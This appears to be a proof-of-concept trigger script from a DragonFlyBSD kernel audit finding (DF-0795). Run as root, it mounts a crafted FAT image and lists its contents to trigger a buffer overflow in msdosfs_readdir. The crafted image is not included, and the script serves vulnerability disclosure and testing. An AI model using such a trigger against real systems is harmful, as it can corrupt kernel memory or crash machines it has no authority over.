DragonFlyBSD Kernel Audit
DF-0795 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0795 trigger run script (must run as root: needs mount/vnconfig).
# Uses a pre-patched image at /tmp/df0795.img (pushed from host).
set -e
IMG=/tmp/df0795.img
MNT=/tmp/df0795_mnt
mkdir -p "$MNT"

echo "[*] vnconfig + mount"
vnconfig -c vn0 "$IMG"
mount -t msdos /dev/vn0 "$MNT"
echo "[*] mount OK; now ls the root (triggers msdosfs_readdir -> overflow)"
echo "---- ls -la ----"
ls -la "$MNT" 2>&1 || true
echo "---- ls ----"
ls "$MNT" 2>&1 || true
echo "---- stat ----"
stat "$MNT"/* 2>&1 || true
echo "[*] ls done; unmounting"
umount "$MNT" || true
vnconfig -u vn0 || true
echo "[*] DONE (no panic = overflow was silent/contained, as predicted)"